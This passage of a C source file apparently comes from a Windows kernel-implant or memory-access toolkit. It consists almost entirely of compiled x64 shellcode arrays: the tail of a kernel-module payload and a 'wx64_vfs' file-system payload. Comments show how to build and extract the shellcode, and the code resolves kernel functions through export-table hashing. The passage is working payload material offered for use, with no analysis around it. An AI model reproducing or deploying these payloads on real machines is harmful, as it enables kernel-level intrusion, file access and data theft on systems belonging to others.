0xf0, 0x48, 0x85, 0xc0, 0x74, 0x34, 0x4c,\n\t\t0x8b, 0x43, 0x48, 0x4c, 0x39, 0xb3, 0xf8, 0x0f, 0x00, 0x00, 0x75, 0x08,\n\t\t0x48, 0x8b, 0xd0, 0x48, 0x8b, 0xcf, 0xeb, 0x06, 0x48, 0x8b, 0xd7, 0x48,\n\t\t0x8b, 0xce, 0xff, 0x93, 0x40, 0x03, 0x00, 0x00, 0x48, 0x8b, 0x53, 0x48,\n\t\t0x48, 0x8b, 0xce, 0xff, 0x93, 0x30, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x73,\n\t\t0x38, 0xeb, 0x04, 0x48, 0x89, 0x6b, 0x38, 0x48, 0x83, 0xbb, 0xf8, 0x0f,\n\t\t0x00, 0x00, 0x06, 0x75, 0x15, 0x4c, 0x8b, 0x43, 0x48, 0x48, 0x8b, 0xcf,\n\t\t0x48, 0x8b, 0x53, 0x40, 0xff, 0x93, 0x40, 0x03, 0x00, 0x00, 0x4c, 0x89,\n\t\t0x73, 0x38, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x07, 0x75, 0x15,\n\t\t0x4c, 0x8b, 0x43, 0x48, 0x48, 0x8b, 0xd7, 0x48, 0x8b, 0x4b, 0x40, 0xff,\n\t\t0x93, 0x40, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0x48, 0x89, 0xab,\n\t\t0xf8, 0x0f, 0x00, 0x00, 0x48, 0x8b, 0xf5, 0xe9, 0x91, 0xfe, 0xff, 0xff,\n\t\t0xb8, 0x00, 0x00, 0x00, 0xf0, 0x48, 0x8b, 0xcf, 0x48, 0x89, 0x43, 0x30,\n\t\t0xff, 0x93, 0x08, 0x03, 0x00, 0x00, 0x48, 0x89, 0x6b, 0x20, 0x48, 0x89,\n\t\t0x6b, 0x28, 0x4c, 0x89, 0x73, 0x38, 0x48, 0x89, 0x2b, 0x48, 0x89, 0xab,\n\t\t0xf8, 0x0f, 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x48, 0x48, 0x8b, 0x6c,\n\t\t0x24, 0x50, 0x48, 0x83, 0xc4, 0x20, 0x41, 0x5e, 0x5f, 0x5e, 0xc3\n\t};\n\t*ppb = WINX64_KMD_BIN;\n\t*pcb = sizeof(WINX64_KMD_BIN);\n}\n\n// standard wx64_vfs payload, compile and extract shellcode with:\n// \n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_common.c\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_vfs.c\n// ml64 wx64_common_a.asm /Fewx64_vfs.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main wx64_vfs.obj wx64_common.obj\n// shellcode64.exe -o wx64_vfs.exe\n// xxd -i wx64_vfs.bin\nVOID GetData_VFS(PBYTE *ppb, PDWORD pcb)\n{\n\tBYTE WINX64_VFS_BIN[] = {\n\t\t0x56, 0x48, 0x8b, 0xf4, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20,\n\t\t0xe8, 0xb7, 0x06, 0x00, 0x00, 0x48, 0x8b, 0xe6, 0x5e, 0xc3, 0x0f, 0x20,\n\t\t0xd8, 0xc3, 0x0f, 0x09, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24,\n\t\t0x08, 0x48, 0x89, 0x7c, 0x24, 0x18, 0x55, 0x48, 0x8d, 0x6c, 0x24, 0xa9,\n\t\t0x48, 0x81, 0xec, 0xb0, 0x00, 0x00, 0x00, 0x48, 0x83, 0x65, 0x6f, 0x00,\n\t\t0x48, 0x8d, 0x4d, 0x17, 0x48, 0x8b, 0xfa, 0x49, 0x8b, 0xd8, 0xba, 0x10,\n\t\t0x00, 0x00, 0x00, 0xff, 0x97, 0x80, 0x00, 0x00, 0x00, 0xba, 0x30, 0x00,\n\t\t0x00, 0x00, 0x48, 0x8d, 0x4d, 0x27, 0xff, 0x97, 0x80, 0x00, 0x00, 0x00,\n\t\t0x48, 0x8d, 0x93, 0x1c, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0x07, 0xff,\n\t\t0x57, 0x78, 0x83, 0x64, 0x24, 0x50, 0x00, 0x48, 0x8d, 0x45, 0x07, 0x48,\n\t\t0x83, 0x64, 0x24, 0x48, 0x00, 0x4c, 0x8d, 0x4d, 0x17, 0x48, 0x83, 0x65,\n\t\t0x2f, 0x00, 0x4c, 0x8d, 0x45, 0x27, 0xc7, 0x44, 0x24, 0x40, 0x20, 0x00,\n\t\t0x00, 0x00, 0x48, 0x8d, 0x4d, 0x6f, 0x48, 0x89, 0x45, 0x37, 0x0f, 0x57,\n\t\t0xc0, 0xb8, 0x03, 0x00, 0x00, 0x00, 0x48, 0xc7, 0x45, 0x27, 0x30, 0x00,\n\t\t0x00, 0x00, 0x89, 0x44, 0x24, 0x38, 0xba, 0x00, 0x00, 0x00, 0x80, 0x89,\n\t\t0x44, 0x24, 0x30, 0xc7, 0x44, 0x24, 0x28, 0x80, 0x00, 0x00, 0x00, 0x48,\n\t\t0x83, 0x64, 0x24, 0x20, 0x00, 0x48, 0xc7, 0x45, 0x3f, 0x40, 0x02, 0x00,\n\t\t0x00, 0xf3, 0x0f, 0x7f, 0x45, 0x47, 0xff, 0x97, 0x90, 0x00, 0x00, 0x00,\n\t\t0x48, 0x8b, 0x4d, 0x6f, 0x8b, 0xd8, 0x48, 0x85, 0xc9, 0x74, 0x06, 0xff,\n\t\t0x97, 0x88, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x9c, 0x24, 0xb0, 0x00, 0x00,\n\t\t0x00, 0x8b, 0xc3, 0x49, 0x8b, 0x5b, 0x10, 0x49, 0x8b, 0x7b, 0x20, 0x49,\n\t\t0x8b, 0xe3, 0x5d, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x7c,\n\t\t0x24, 0x18, 0x55, 0x48, 0x8d, 0x6c, 0x24, 0xa9, 0x48, 0x81, 0xec, 0xb0,\n\t\t0x00, 0x00, 0x00, 0x48, 0x83, 0x65, 0x6f, 0x00, 0x48, 0x8d, 0x4d, 0x17,\n\t\t0x48, 0x8b, 0xfa, 0x49, 0x8b, 0xd8, 0xba, 0x10, 0x00, 0x00, 0x00, 0xff,\n\t\t0x97, 0x80, 0x00, 0x00, 0x00, 0xba, 0x30, 0x00, 0x00, 0x00, 0x48, 0x8d,\n\t\t0x4d, 0x27, 0xff, 0x97, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x93, 0x1c,\n\t\t0x01, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0x07, 0xff, 0x57, 0x78, 0x83, 0x64,\n\t\t0x24, 0x50, 0x00, 0x48, 0x8d, 0x45, 0x07, 0x48, 0x83, 0x64, 0x24, 0x48,\n\t\t0x00, 0x4c, 0x8d, 0x4d, 0x17, 0x48, 0x83, 0x65, 0x2f, 0x00, 0x4c, 0x8d,\n\t\t0x45, 0x27, 0xc7, 0x44, 0x24, 0x40, 0x00, 0x10, 0x00, 0x00, 0x48, 0x8d,\n\t\t0x4d, 0x6f, 0xc7, 0x44, 0x24, 0x38, 0x01, 0x00, 0x00, 0x00, 0x0f, 0x57,\n\t\t0xc0, 0xc7, 0x44, 0x24, 0x30, 0x04, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00,\n\t\t0x00, 0x40, 0xc7, 0x44, 0x24, 0x28, 0x80, 0x00, 0x00, 0x00, 0x48, 0x83,\n\t\t0x64, 0x24, 0x20, 0x00, 0x48, 0xc7, 0x45, 0x27, 0x30, 0x00, 0x00, 0x00,\n\t\t0x48, 0xc7, 0x45, 0x3f, 0x40, 0x02, 0x00, 0x00, 0x48, 0x89, 0x45, 0x37,\n\t\t0xf3, 0x0f, 0x7f, 0x45, 0x47, 0xff, 0x97, 0x90, 0x00, 0x00, 0x00, 0x48,\n\t\t0x8b, 0x4d, 0x6f, 0x8b, 0xd8, 0x48, 0x85, 0xc9, 0x74, 0x06, 0xff, 0x97,\n\t\t0x88, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x9c, 0x24, 0xb0, 0x00, 0x00, 0x00,\n\t\t0x8b, 0xc3, 0x49, 0x8b, 0x5b, 0x10, 0x49, 0x8b, 0x7b, 0x20, 0x49, 0x8b,\n\t\t0xe3, 0x5d, 0xc3, 0xcc, 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x10, 0x48,\n\t\t0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x55, 0x41, 0x54, 0x41, 0x55,\n\t\t0x41, 0x56, 0x41, 0x57, 0x48, 0x8d, 0x68, 0xa1, 0x48, 0x81, 0xec, 0xb0,\n\t\t0x00, 0x00, 0x00, 0x33, 0xc0, 0x48, 0x8b, 0xd9, 0x48, 0x8b, 0x89, 0x10,\n\t\t0x02, 0x00, 0x00, 0x49, 0x8b, 0xf8, 0x48, 0x89, 0x45, 0x67, 0x4c, 0x8b,\n\t\t0xfa, 0x44, 0x8b, 0xf0, 0x48, 0x81, 0xf9, 0x00, 0x00, 0x20, 0x00, 0x73,\n\t\t0x0a, 0xb8, 0x07, 0x00, 0x00, 0xf0, 0xe9, 0xd5, 0x01, 0x00, 0x00, 0x4c,\n\t\t0x8b, 0x63, 0x28, 0x48, 0x81, 0xc1, 0x00, 0x00, 0xf0, 0xff, 0x4c, 0x03,\n\t\t0xa3, 0x08, 0x02, 0x00, 0x00, 0x48, 0xb8, 0x8f, 0xe3, 0x38, 0x8e, 0xe3,\n\t\t0x38, 0x8e, 0xe3, 0x48, 0xf7, 0xe1, 0x48, 0x8d, 0x4d, 0xe7, 0x4c, 0x8b,\n\t\t0xea, 0xba, 0x10, 0x00, 0x00, 0x00, 0x49, 0xc1, 0xed, 0x09, 0x41, 0xff,\n\t\t0x97, 0x80, 0x00, 0x00, 0x00, 0xbe, 0x30, 0x00, 0x00, 0x00, 0x48, 0x8d,\n\t\t0x4d, 0x07, 0x8b, 0xd6, 0x41, 0xff, 0x97, 0x80, 0x00, 0x00, 0x00, 0x48,\n\t\t0x8d, 0x97, 0x1c, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0xf7, 0x41, 0xff,\n\t\t0x57, 0x78, 0x4c, 0x21, 0x75, 0x0f, 0x48, 0x8d, 0x45, 0xf7, 0x0f, 0x57,\n\t\t0xc0, 0xc7, 0x44, 0x24, 0x28, 0x21, 0x40, 0x00, 0x00, 0x4c, 0x8d, 0x4d,\n\t\t0xe7, 0x48, 0x89, 0x45, 0x17, 0x4c, 0x8d, 0x45, 0x07, 0x48, 0x89, 0x75,\n\t\t0x07, 0xba, 0x01, 0x00, 0x10, 0x00, 0x48, 0xc7, 0x45, 0x1f, 0x40, 0x02,\n\t\t0x00, 0x00, 0x48, 0x8d, 0x4d, 0x67, 0xc7, 0x44, 0x24, 0x20, 0x03, 0x00,\n\t\t0x00, 0x00, 0xf3, 0x0f, 0x7f, 0x45, 0x27, 0x41, 0xff, 0x97, 0x98, 0x00,\n\t\t0x00, 0x00, 0x33, 0xd2, 0x8b, 0xf8, 0x85, 0xc0, 0x0f, 0x85, 0x01, 0x01,\n\t\t0x00, 0x00, 0xc6, 0x44, 0x24, 0x50, 0x01, 0xe9, 0x96, 0x00, 0x00, 0x00,\n\t\t0x48, 0x39, 0x55, 0xef, 0x0f, 0x84, 0xed, 0x00, 0x00, 0x00, 0xba, 0x40,\n\t\t0x02, 0x00, 0x00, 0x49, 0x8b, 0xcc, 0x41, 0xff, 0x97, 0x80, 0x00, 0x00,\n\t\t0x00, 0x48, 0x8b, 0x46, 0x28, 0x48, 0x8d, 0x56, 0x5e, 0x49, 0x89, 0x44,\n\t\t0x24, 0x30, 0x48, 0x8b, 0x46, 0x10, 0x49, 0x89, 0x44, 0x24, 0x08, 0x48,\n\t\t0x8b, 0x46, 0x08, 0x49, 0x89, 0x44, 0x24, 0x18, 0x48, 0x8b, 0x46, 0x20,\n\t\t0x49, 0x83, 0x0c, 0x24, 0x10, 0x49, 0x89, 0x44, 0x24, 0x10, 0x8b, 0x46,\n\t\t0x38, 0x24, 0x10, 0xf6, 0xd8, 0x48, 0x1b, 0xc9, 0x48, 0xf7, 0xd9, 0x48,\n\t\t0xff, 0xc1, 0x49, 0x09, 0x0c, 0x24, 0xb9, 0x03, 0x01, 0x00, 0x00, 0x8b,\n\t\t0x46, 0x3c, 0x3b, 0xc1, 0x0f, 0x47, 0xc1, 0x49, 0x8d, 0x4c, 0x24, 0x38,\n\t\t0x44, 0x8b, 0xc0, 0x41, 0xff, 0x57, 0x60, 0x33, 0xd2, 0x49, 0x81, 0xc4,\n\t\t0x40, 0x02, 0x00, 0x00, 0x49, 0xff, 0xc6, 0x4d, 0x3b, 0xf5, 0x73, 0x73,\n\t\t0x8b, 0x06, 0x85, 0xc0, 0x74, 0x08, 0x48, 0x03, 0xf0, 0xe9, 0x78, 0xff,\n\t\t0xff, 0xff, 0x88, 0x54, 0x24, 0x50, 0x48, 0x8b, 0x4b, 0x28, 0x48, 0x8d,\n\t\t0x45, 0xe7, 0x48, 0x03, 0x8b, 0x10, 0x02, 0x00, 0x00, 0x45, 0x33, 0xc9,\n\t\t0x48, 0x8b, 0xb3, 0x08, 0x02, 0x00, 0x00, 0x45, 0x33, 0xc0, 0x48, 0x89,\n\t\t0x54, 0x24, 0x48, 0x48, 0x81, 0xc6, 0x00, 0x00, 0xf0, 0xff, 0x88, 0x54,\n\t\t0x24, 0x40, 0x48, 0x03, 0xf1, 0x48, 0x8b, 0x4d, 0x67, 0x48, 0xc7, 0x44,\n\t\t0x24, 0x38, 0x03, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x30, 0x00, 0x00,\n\t\t0x10, 0x00, 0x48, 0x89, 0x74, 0x24, 0x28, 0x48, 0x89, 0x44, 0x24, 0x20,\n\t\t0x41, 0xff, 0x97, 0xa0, 0x00, 0x00, 0x00, 0x33, 0xd2, 0x8b, 0xf8, 0x85,\n\t\t0xc0, 0x0f, 0x84, 0x09, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x4d, 0x67, 0x4b,\n\t\t0x8d, 0x04, 0xf6, 0x48, 0xc1, 0xe0, 0x06, 0x48, 0x89, 0x83, 0x00, 0x02,\n\t\t0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x09, 0x41, 0xff, 0x97, 0x88, 0x00,\n\t\t0x00, 0x00, 0x33, 0xd2, 0x4d, 0x85, 0xf6, 0x0f, 0x45, 0xfa, 0x8b, 0xc7,\n\t\t0x4c, 0x8d, 0x9c, 0x24, 0xb0, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x5b, 0x38,\n\t\t0x49, 0x8b, 0x73, 0x40, 0x49, 0x8b, 0x7b, 0x48, 0x49, 0x8b, 0xe3, 0x41,\n\t\t0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5d, 0xc3, 0xcc, 0xcc, 0xcc,\n\t\t0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x18, 0x55, 0x57,\n\t\t0x41, 0x56, 0x48, 0x8d, 0x6c, 0x24, 0xb9, 0x48, 0x81, 0xec, 0xb0, 0x00,\n\t\t0x00, 0x00, 0x48, 0x83, 0x65, 0x6f, 0x00, 0x48, 0x8b, 0xfa, 0x48, 0x8b,\n\t\t0xf1, 0xbb, 0x30, 0x00, 0x00, 0x00, 0x8b, 0xd3, 0x48, 0x8d, 0x4d, 0x17,\n\t\t0x4d, 0x8b, 0xf0, 0xff, 0x97, 0x80, 0x00, 0x00, 0x00, 0x8d, 0x53, 0xe0,\n\t\t0x48, 0x8d, 0x4d, 0xf7, 0xff, 0x97, 0x80, 0x00, 0x00, 0x00, 0x49, 0x8d,\n\t\t0x96, 0x1c, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0x07, 0xff, 0x57, 0x78,\n\t\t0x83, 0x64, 0x24, 0x50, 0x00, 0x48, 0x8d, 0x45, 0x07, 0x48, 0x83, 0x64,\n\t\t0x24, 0x48, 0x00, 0x4c, 0x8d, 0x4d, 0xf7, 0x48, 0x83, 0x65, 0x1f, 0x00,\n\t\t0x4c, 0x8d, 0x45, 0x17, 0xc7, 0x44, 0x24, 0x40, 0x20, 0x00, 0x00, 0x00,\n\t\t0x48, 0x8d, 0x4d, 0x6f, 0xc7, 0x44, 0x24, 0x38, 0x01, 0x00, 0x00, 0x00,\n\t\t0x0f, 0x57, 0xc0, 0xc7, 0x44, 0x24, 0x30, 0x03, 0x00, 0x00, 0x00, 0xba,\n\t\t0x00, 0x00, 0x00, 0x80, 0xc7, 0x44, 0x24, 0x28, 0x80, 0x00, 0x00, 0x00,\n\t\t0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x48, 0x89, 0x5d, 0x17, 0x48, 0xc7,\n\t\t0x45, 0x2f, 0x40, 0x02, 0x00, 0x00, 0x48, 0x89, 0x45, 0x27, 0xf3, 0x0f,\n\t\t0x7f, 0x45, 0x37, 0xff, 0x97, 0x90, 0x00, 0x00, 0x00, 0x8b, 0xd8, 0x85,\n\t\t0xc0, 0x75, 0x59, 0x48, 0x83, 0x64, 0x24, 0x40, 0x00, 0x49, 0x8d, 0x86,\n\t\t0x28, 0x03, 0x00, 0x00, 0x48, 0x8b, 0x8e, 0x08, 0x02, 0x00, 0x00, 0x45,\n\t\t0x33, 0xc9, 0x48, 0x03, 0x4e, 0x28, 0x45, 0x33, 0xc0, 0x48, 0x89, 0x44,\n\t\t0x24, 0x38, 0x33, 0xd2, 0x41, 0x8b, 0x86, 0x30, 0x03, 0x00, 0x00, 0x89,\n\t\t0x44, 0x24, 0x30, 0x48, 0x8d, 0x45, 0xf7, 0x48, 0x89, 0x4c, 0x24, 0x28,\n\t\t0x48, 0x8b, 0x4d, 0x6f, 0x48, 0x89, 0x44, 0x24, 0x20, 0xff, 0x97, 0xb8,\n\t\t0x00, 0x00, 0x00, 0x8b, 0xd8, 0x85, 0xc0, 0x75, 0x0b, 0x48, 0x8b, 0x45,\n\t\t0xff, 0x48, 0x89, 0x86, 0x00, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x4d, 0x6f,\n\t\t0x48, 0x85, 0xc9, 0x74, 0x06, 0xff, 0x97, 0x88, 0x00, 0x00, 0x00, 0x4c,\n\t\t0x8d, 0x9c, 0x24, 0xb0, 0x00, 0x00, 0x00, 0x8b, 0xc3, 0x49, 0x8b, 0x5b,\n\t\t0x20, 0x49, 0x8b, 0x73, 0x30, 0x49, 0x8b, 0xe3, 0x41, 0x5e, 0x5f, 0x5d,\n\t\t0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48,\n\t\t0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x55, 0x48, 0x8d, 0x68, 0xa1,\n\t\t0x48, 0x81, 0xec, 0xb0, 0x00, 0x00, 0x00, 0x48, 0x83, 0x65, 0x6f, 0x00,\n\t\t0x48, 0x8d, 0x4d, 0x27, 0x48, 0x8b, 0xf2, 0xbf, 0x30, 0x00, 0x00, 0x00,\n\t\t0x8b, 0xd7, 0x49, 0x8b, 0xd8, 0xff, 0x96, 0x80, 0x00, 0x00, 0x00, 0x8d,\n\t\t0x57, 0xe0, 0x48, 0x8d, 0x4d, 0x07, 0xff, 0x96, 0x80, 0x00, 0x00, 0x00,\n\t\t0x48, 0x8d, 0x93, 0x1c, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0x17, 0xff,\n\t\t0x56, 0x78, 0x48, 0x8b, 0x4b, 0x10, 0x48, 0x8d, 0x45, 0x17, 0x48, 0x83,\n\t\t0x65, 0x2f, 0x00, 0x0f, 0x57, 0xc0, 0x48, 0x89, 0x45, 0x37, 0x8a, 0xc1,\n\t\t0x24, 0x80, 0x48, 0x89, 0x7d, 0x27, 0xf6, 0xd8, 0x48, 0xc7, 0x45, 0x3f,\n\t\t0x40, 0x02, 0x00, 0x00, 0xf3, 0x0f, 0x7f, 0x45, 0x47, 0x1b, 0xd2, 0x81,\n\t\t0xe2, 0x04, 0x00, 0x00, 0xc0, 0x81, 0xc2, 0x00, 0x00, 0x00, 0x40, 0xf6,\n\t\t0xc1, 0x40, 0x74, 0x0d, 0x48, 0x83, 0xbb, 0x28, 0x03, 0x00, 0x00, 0x00,\n\t\t0x8d, 0x47, 0xd5, 0x74, 0x05, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x83, 0x64,\n\t\t0x24, 0x50, 0x00, 0x4c, 0x8d, 0x4d, 0x07, 0x48, 0x83, 0x64, 0x24, 0x48,\n\t\t0x00, 0x4c, 0x8d, 0x45, 0x27, 0xc7, 0x44, 0x24, 0x40, 0x20, 0x00, 0x00,\n\t\t0x00, 0x48, 0x8d, 0x4d, 0x6f, 0x89, 0x44, 0x24, 0x38, 0x83, 0x64, 0x24,\n\t\t0x30, 0x00, 0xc7, 0x44, 0x24, 0x28, 0x80, 0x00, 0x00, 0x00, 0x48, 0x83,\n\t\t0x64, 0x24, 0x20, 0x00, 0xff, 0x96, 0x90, 0x00, 0x00, 0x00, 0x8b, 0xf8,\n\t\t0x85, 0xc0, 0x75, 0x45, 0x48, 0x83, 0x64, 0x24, 0x40, 0x00, 0x48, 0x8d,\n\t\t0x83, 0x28, 0x03, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x38, 0x48, 0x8d,\n\t\t0x8b, 0x38, 0x03, 0x00, 0x00, 0x8b, 0x83, 0x30, 0x03, 0x00, 0x00, 0x45,\n\t\t0x33, 0xc9, 0x89, 0x44, 0x24, 0x30, 0x45, 0x33, 0xc0, 0x48, 0x89, 0x4c,\n\t\t0x24, 0x28, 0x48, 0x8d, 0x45, 0x07, 0x48, 0x8b, 0x4d, 0x6f, 0x33, 0xd2,\n\t\t0x48, 0x89, 0x44, 0x24, 0x20, 0xff, 0x96, 0xc0, 0x00, 0x00, 0x00, 0x8b,\n\t\t0xf8, 0x48, 0x8b, 0x4d, 0x6f, 0x48, 0x85, 0xc9, 0x74, 0x06, 0xff, 0x96,\n\t\t0x88, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x9c, 0x24, 0xb0, 0x00, 0x00, 0x00,\n\t\t0x8b, 0xc7, 0x49, 0x8b, 0x5b, 0x10, 0x49, 0x8b, 0x73, 0x20, 0x49, 0x8b,\n\t\t0x7b, 0x28, 0x49, 0x8b, 0xe3, 0x5d, 0xc3, 0xcc, 0x40, 0x53, 0x48, 0x81,\n\t\t0xec, 0xf0, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd9, 0x48, 0x8d, 0x54, 0x24,\n\t\t0x20, 0x48, 0x8b, 0x49, 0x08, 0xe8, 0xba, 0x00, 0x00, 0x00, 0x4c, 0x8b,\n\t\t0x83, 0x08, 0x01, 0x00, 0x00, 0x4c, 0x03, 0x43, 0x28, 0x48, 0x81, 0xbb,\n\t\t0x00, 0x01, 0x00, 0x00, 0x38, 0x03, 0x00, 0x00, 0x0f, 0x82, 0x86, 0x00,\n\t\t0x00, 0x00, 0x48, 0xb8, 0x0f, 0x13, 0xaa, 0x93, 0xad, 0x20, 0xe7, 0x79,\n\t\t0x49, 0x39, 0x00, 0x75, 0x77, 0x49, 0x8b, 0x40, 0x08, 0x48, 0x83, 0xf8,\n\t\t0x01, 0x75, 0x19, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0xe8,\n\t\t0xc0, 0xfa, 0xff, 0xff, 0x48, 0x63, 0xc8, 0x48, 0x89, 0x8b, 0x20, 0x02,\n\t\t0x00, 0x00, 0xeb, 0x60, 0x48, 0x83, 0xf8, 0x03, 0x75, 0x0f, 0x48, 0x8d,\n\t\t0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0xe8, 0xe9, 0xfc, 0xff, 0xff, 0xeb,\n\t\t0xdf, 0x48, 0x83, 0xf8, 0x02, 0x75, 0x0f, 0x48, 0x8d, 0x54, 0x24, 0x20,\n\t\t0x48, 0x8b, 0xcb, 0xe8, 0x1c, 0xfe, 0xff, 0xff, 0xeb, 0xca, 0x48, 0x83,\n\t\t0xf8, 0x04, 0x75, 0x0f, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb,\n\t\t0xe8, 0xb3, 0xf8, 0xff, 0xff, 0xeb, 0xb5, 0x48, 0x83, 0xf8, 0x05, 0x75,\n\t\t0x1b, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0xe8, 0x7e, 0xf9,\n\t\t0xff, 0xff, 0xeb, 0xa0, 0xb8, 0x01, 0x00, 0x00, 0xc0, 0x48, 0x89, 0x83,\n\t\t0x20, 0x02, 0x00, 0x00, 0x48, 0x81, 0xc4, 0xf0, 0x00, 0x00, 0x00, 0x5b,\n\t\t0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48,\n\t\t0x89, 0x70, 0x10, 0x48, 0x89, 0x78, 0x18, 0x4c, 0x89, 0x70, 0x20, 0x55,\n\t\t0x48, 0x8d, 0x68, 0xa1, 0x48, 0x81, 0xec, 0x90, 0x00, 0x00, 0x00, 0x4c,\n\t\t0x8b, 0xf1, 0xc7, 0x45, 0xe7, 0x4a, 0x45, 0x3b, 0xd7, 0xc7, 0x45, 0xeb,\n\t\t0x62, 0xe0, 0x07, 0x37, 0x48, 0x8d, 0xba, 0xc8, 0x00, 0x00, 0x00, 0xc7,\n\t\t0x45, 0xef, 0x1f, 0x9d, 0x48, 0x9d, 0x48, 0x8d, 0x75, 0x4b, 0xc7, 0x45,\n\t\t0xf3, 0xa1, 0x7b, 0xcc, 0xdc, 0xbb, 0x19, 0x00, 0x00, 0x00, 0xc7, 0x45,\n\t\t0xf7, 0x92, 0x6d, 0x58, 0x58, 0xc7, 0x45, 0xfb, 0xce, 0xad, 0x90, 0x4d,\n\t\t0xc7, 0x45, 0xff, 0x57, 0x63, 0x32, 0x5a, 0xc7, 0x45, 0x03, 0x8f, 0xb5,\n\t\t0x6a, 0x6a, 0xc7, 0x45, 0x07, 0xf9, 0xbe, 0xdd, 0x05, 0xc7, 0x45, 0x0b,\n\t\t0xf7, 0x38, 0xb3, 0x9d, 0xc7, 0x45, 0x0f, 0xc9, 0xc5, 0x6e, 0x6c, 0xc7,\n\t\t0x45, 0x13, 0x89, 0x83, 0x6c, 0xeb, 0xc7, 0x45, 0x17, 0x9b, 0x97, 0x64,\n\t\t0xcf, 0xc7, 0x45, 0x1b, 0x2a, 0xc0, 0xb2, 0xa8, 0xc7, 0x45, 0x1f, 0x3d,\n\t\t0x28, 0xc3, 0x7c, 0xc7, 0x45, 0x23, 0x2a, 0xd0, 0x35, 0x30, 0xc7, 0x45,\n\t\t0x27, 0xdb, 0x4f, 0x3d, 0xc5, 0xc7, 0x45, 0x2b, 0x61, 0x4c, 0x04, 0x5d,\n\t\t0xc7, 0x45, 0x2f, 0x9d, 0x8f, 0xa0, 0xc3, 0xc7, 0x45, 0x33, 0xb8, 0xd4,\n\t\t0x29, 0x88, 0xc7, 0x45, 0x37, 0x50, 0x64, 0xb0, 0x6f, 0xc7, 0x45, 0x3b,\n\t\t0xe2, 0xca, 0x61, 0xe6, 0xc7, 0x45, 0x3f, 0xde, 0x24, 0xe6, 0xf7, 0xc7,\n\t\t0x45, 0x43, 0x16, 0x35, 0xfd, 0x87, 0xc7, 0x45, 0x47, 0x36, 0x31, 0x0e,\n\t\t0x68, 0x48, 0x8d, 0x76, 0xfc, 0x49, 0x8b, 0xce, 0x8b, 0x16, 0x48, 0x8d,\n\t\t0x7f, 0xf8, 0xe8, 0x25, 0x00, 0x00, 0x00, 0x48, 0x89, 0x07, 0x83, 0xc3,\n\t\t0xff, 0x75, 0xe6, 0x4c, 0x8d, 0x9c, 0x24, 0x90, 0x00, 0x00, 0x00, 0x49,\n\t\t0x8b, 0x5b, 0x10, 0x49, 0x8b, 0x73, 0x18, 0x49, 0x8b, 0x7b, 0x20, 0x4d,\n\t\t0x8b, 0x73, 0x28, 0x49, 0x8b, 0xe3, 0x5d, 0xc3, 0x48, 0x8b, 0xc4, 0x48,\n\t\t0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48,\n\t\t0x89, 0x78, 0x20, 0x8b, 0xea, 0x48, 0x85, 0xc9, 0x74, 0x7a, 0xb8, 0x4d,\n\t\t0x5a, 0x00, 0x00, 0x66, 0x39, 0x01, 0x75, 0x70, 0x48, 0x63, 0x41, 0x3c,\n\t\t0x48, 0x03, 0xc1, 0x74, 0x67, 0x81, 0x38, 0x50, 0x45, 0x00, 0x00, 0x75,\n\t\t0x5f, 0x8b, 0x90, 0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xd1, 0x74, 0x54,\n\t\t0x44, 0x8b, 0x5a, 0x18, 0x45, 0x85, 0xdb, 0x74, 0x4b, 0x8b, 0x42, 0x20,\n\t\t0x85, 0xc0, 0x74, 0x44, 0x8b, 0x72, 0x24, 0x4c, 0x8d, 0x0c, 0x01, 0x8b,\n\t\t0x7a, 0x1c, 0x48, 0x03, 0xf1, 0x48, 0x03, 0xf9, 0x45, 0x33, 0xc0, 0x45,\n\t\t0x85, 0xdb, 0x74, 0x2c, 0x45, 0x8b, 0x11, 0x4c, 0x03, 0xd1, 0x33, 0xdb,\n\t\t0xeb, 0x0b, 0x0f, 0xb6, 